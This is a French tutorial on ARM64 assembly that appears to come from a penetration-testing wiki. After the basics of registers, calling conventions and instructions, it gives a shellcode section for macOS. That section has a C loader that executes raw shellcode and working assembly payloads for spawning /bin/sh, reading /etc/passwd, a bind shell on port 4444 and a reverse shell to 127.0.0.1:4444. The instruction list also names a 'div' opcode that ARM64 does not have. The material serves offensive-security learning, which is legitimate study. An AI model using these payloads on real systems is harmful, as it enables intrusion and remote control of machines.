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Introduction à ARM64

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Introduction à ARM64

ARM64, également connu sous le nom d'ARMv8-A, est une architecture de processeur 64 bits utilisée dans différents types d'appareils, y compris les smartphones, les tablettes, les serveurs et même certains ordinateurs personnels haut de gamme (macOS). C'est un produit d'ARM Holdings, une entreprise connue pour ses conceptions de processeurs économes en énergie.

Registres

ARM64 dispose de 31 registres généraux, étiquetés x0 à x30. Chacun peut stocker une valeur de 64 bits (8 octets). Pour les opérations qui nécessitent uniquement des valeurs de 32 bits, les mêmes registres peuvent être accessibles en mode 32 bits en utilisant les noms w0 à w30.

1. x0 à x7 - Ils sont généralement utilisés comme registres temporaires et pour transmettre des paramètres aux sous-routines.

• x0 transporte également les données de retour d'une fonction.

2. x8 - Dans le noyau Linux, x8 est utilisé comme numéro d'appel système pour l'instruction svc. Dans macOS, c'est x16 qui est utilisé !
3. x9 à x15 - Registres temporaires supplémentaires, souvent utilisés pour les variables locales.
4. x16 et x17 - Registres temporaires, également utilisés pour les appels de fonction indirects et les stubs PLT (Procedure Linkage Table).

• x16 est utilisé comme numéro d'appel système pour l'instruction svc.

5. x18 - Registre de plateforme. Sur certaines plateformes, ce registre est réservé à des utilisations spécifiques à la plateforme.
6. x19 à x28 - Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver les valeurs de ces registres pour son appelant.
7. x29 - Pointeur de cadre.
8. x30 - Registre de lien. Il contient l'adresse de retour lorsqu'une instruction BL (Branch with Link) ou BLR (Branch with Link to Register) est exécutée.
9. sp - Pointeur de pile, utilisé pour suivre le sommet de la pile.
10. pc - Compteur de programme, qui pointe vers l'instruction suivante à exécuter.

Convention d'appel

La convention d'appel ARM64 spécifie que les huit premiers paramètres d'une fonction sont passés dans les registres x0 à x7. Les paramètres supplémentaires sont passés sur la pile. La valeur de retour est renvoyée dans le registre x0, ou dans x1 également s'il fait 128 bits. Les registres x19 à x30 et sp doivent être préservés lors des appels de fonction.

Lors de la lecture d'une fonction en langage d'assemblage, recherchez le prologue et l'épilogue de la fonction. Le prologue implique généralement la sauvegarde du pointeur de cadre (x29), la configuration d'un nouveau pointeur de cadre et l'allocation d'espace de pile. L'épilogue implique généralement la restauration du pointeur de cadre sauvegardé et le retour de la fonction.

Convention d'appel en Swift

Swift a sa propre convention d'appel que l'on peut trouver dans https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Instructions courantes

Les instructions ARM64 ont généralement le format opcode dst, src1, src2, où opcode est l'opération à effectuer (comme add, sub, mov, etc.), dst est le registre destination où le résultat sera stocké, et src1 et src2 sont les registres source. Des valeurs immédiates peuvent également être utilisées à la place des registres source.

• mov : Déplacer une valeur d'un registre vers un autre.
• Exemple : mov x0, x1 — Cela déplace la valeur de x1 vers x0.
• ldr : Charger une valeur depuis la mémoire dans un registre.
• Exemple : ldr x0, [x1] — Cela charge une valeur depuis l'emplacement mémoire pointé par x1 dans x0.
• str : Stocker une valeur depuis un registre dans la mémoire.
• Exemple : str x0, [x1] — Cela stocke la valeur de x0 dans l'emplacement mémoire pointé par x1.
• ldp : Charger une paire de registres. Cette instruction charge deux registres à partir de emplacements mémoire consécutifs. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur d'un autre registre.
• Exemple : ldp x0, x1, [x2] — Cela charge x0 et x1 depuis les emplacements mémoire à x2 et x2 + 8, respectivement.
• stp : Stocker une paire de registres. Cette instruction stocke deux registres dans des emplacements mémoire consécutifs. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur d'un autre registre.
• Exemple : stp x0, x1, [x2] — Cela stocke x0 et x1 dans les emplacements mémoire à x2 et x2 + 8, respectivement.
• add : Ajouter les valeurs de deux registres et stocker le résultat dans un registre.
• Exemple : add x0, x1, x2 — Cela ajoute les valeurs dans x1 et x2 ensemble et stocke le résultat dans x0.
• sub : Soustraire les valeurs de deux registres et stocker le résultat dans un registre.
• Exemple : sub x0, x1, x2 — Cela soustrait la valeur dans x2 de x1 et stocke le résultat dans x0.
• mul : Multiplier les valeurs de deux registres et stocker le résultat dans un registre.
• Exemple : mul x0, x1, x2 — Cela multiplie les valeurs dans x1 et x2 et stocke le résultat dans x0.
• div : Diviser la valeur d'un registre par un autre et stocker le résultat dans un registre.
• Exemple : div x0, x1, x2 — Cela divise la valeur dans x1 par x2 et stocke le résultat dans x0.
• bl : Brancher avec lien, utilisé pour appeler une sous-routine. Stocke l'adresse de retour dans x30.
• Exemple : bl myFunction — Cela appelle la fonction myFunction et stocke l'adresse de retour dans x30.
• blr : Brancher avec lien vers un registre, utilisé pour appeler une sous-routine où la cible est spécifiée dans un registre. Stocke l'adresse de retour dans x30.
• Exemple : blr x1 — Cela appelle la fonction dont l'adresse est contenue dans x1 et stocke l'adresse de retour dans x30.
• ret : Retourner de la sous-routine, généralement en utilisant l'adresse dans x30.
• Exemple : ret — Cela retourne de la sous-routine en utilisant l'adresse de retour dans x30.
• cmp : Comparer deux registres et définir les indicateurs de condition.
• Exemple : cmp x0, x1 — Cela compare les valeurs dans x0 et x1 et définit les indicateurs de condition en conséquence.
• b.eq : Brancher si égal, basé sur l'instruction cmp précédente.
• Exemple : b.eq label — Si l'instruction cmp précédente a trouvé deux valeurs égales, cela saute à label.
• b.ne : Brancher si différent. Cette instruction vérifie les indicateurs de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées ne sont pas égales, elle saute à une étiquette ou une adresse.
• Exemple : Après une instruction cmp x0, x1, b.ne label — Si les valeurs dans x0 et x1 ne sont pas égales, cela saute à label.
• cbz : Comparer et brancher si zéro. Cette instruction compare un registre avec zéro, et s'ils sont égaux, elle saute à une étiquette ou une adresse.
• Exemple : cbz x0, label — Si la valeur dans x0 est zéro, cela saute à label.
• cbnz : Comparer et brancher si non zéro. Cette instruction compare un registre avec zéro, et s'ils ne sont pas égaux, elle saute à une étiquette ou une adresse.
• Exemple : cbnz x0, label — Si la valeur dans x0 n'est pas zéro, cela saute à label.
• adrp : Calculer l'adresse de page d'un symbole et la stocker dans un registre.
• Exemple : adrp x0, symbol — Cela calcule l'adresse de page de symbol et la stocke dans x0.
• ldrsw : Charger une valeur signée de 32 bits depuis la mémoire et l'étendre à 64 bits.
• Exemple : ldrsw x0, [x1] — Cela charge une valeur signée de 32 bits depuis l'emplacement mémoire pointé par x1, l'étend à 64 bits et la stocke dans x0.
• stur : Stocker une valeur de registre dans un emplacement mémoire, en utilisant un décalage par rapport à un autre registre.
• Exemple : stur x0, [x1, #4] — Cela stocke la valeur dans x0 dans l'adresse mémoire qui est 4 octets supérieure à l'adresse actuellement dans x1.
• svc : Effectuer un appel système. Il signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il passe du mode utilisateur au mode noyau et saute à un emplacement spécifique en mémoire où se trouve le code de gestion des appels système du noyau.
• Exemple :

mov x8, 93  ; Charger le numéro d'appel système pour exit (93) dans le registre x8.
mov x0, 0   ; Charger le code de statut de sortie (0) dans le registre x0.
svc 0       ; Effectuer l'appel système.

Prologue de fonction

1. Sauvegarder le registre de lien et le pointeur de cadre dans la pile :

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; stocker la paire x29 et x30 dans la pile et décrémenter le pointeur de pile

{% endcode %} 2. Configurer le nouveau pointeur de cadre : mov x29, sp (configure le nouveau pointeur de cadre pour la fonction en cours) 3. Allouer de l'espace dans la pile pour les variables locales (si nécessaire) : sub sp, sp, <taille> (où <taille> est le nombre d'octets nécessaires)

Épilogue de fonction

1. Désallouer les variables locales (si des variables ont été allouées) : add sp, sp, <taille>
2. Restaurer le registre de lien et le pointeur de cadre :

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; charger la paire x29 et x30 depuis la pile et incrémenter le pointeur de pile

{% endcode %} 3. Retourner : ret (retourne le contrôle à l'appelant en utilisant l'adresse dans le registre de lien)

macOS

Appels système BSD

Consultez syscalls.master. Les appels système BSD auront x16 > 0.

Trappes Mach

Consultez syscall_sw.c. Les trappes Mach auront x16 < 0, donc vous devez appeler les numéros de la liste précédente avec un moins : _kernelrpc_mach_vm_allocate_trap est -10.

Vous pouvez également consulter libsystem_kernel.dylib dans un désassembleur pour savoir comment appeler ces appels système (et BSD) :

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} Parfois, il est plus facile de vérifier le code décompilé de libsystem_kernel.dylib que de vérifier le code source car le code de plusieurs appels système (BSD et Mach) est généré via des scripts (vérifiez les commentaires dans le code source) tandis que dans la dylib, vous pouvez trouver ce qui est appelé. {% endhint %}

Shellcodes

Pour compiler :

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Pour extraire les octets :

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Code C pour tester le shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué.

{% tabs %}
{% tab title="avec adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% tab title="avec la pile" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %} {% endtabs %}

Lire avec cat

L'objectif est d'exécuter execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Exécuter une commande avec sh à partir d'une bifurcation pour que le processus principal ne soit pas tué

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Shell en écoute

Shell en écoute sur le port 4444 à partir de https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

Depuis https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell vers 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

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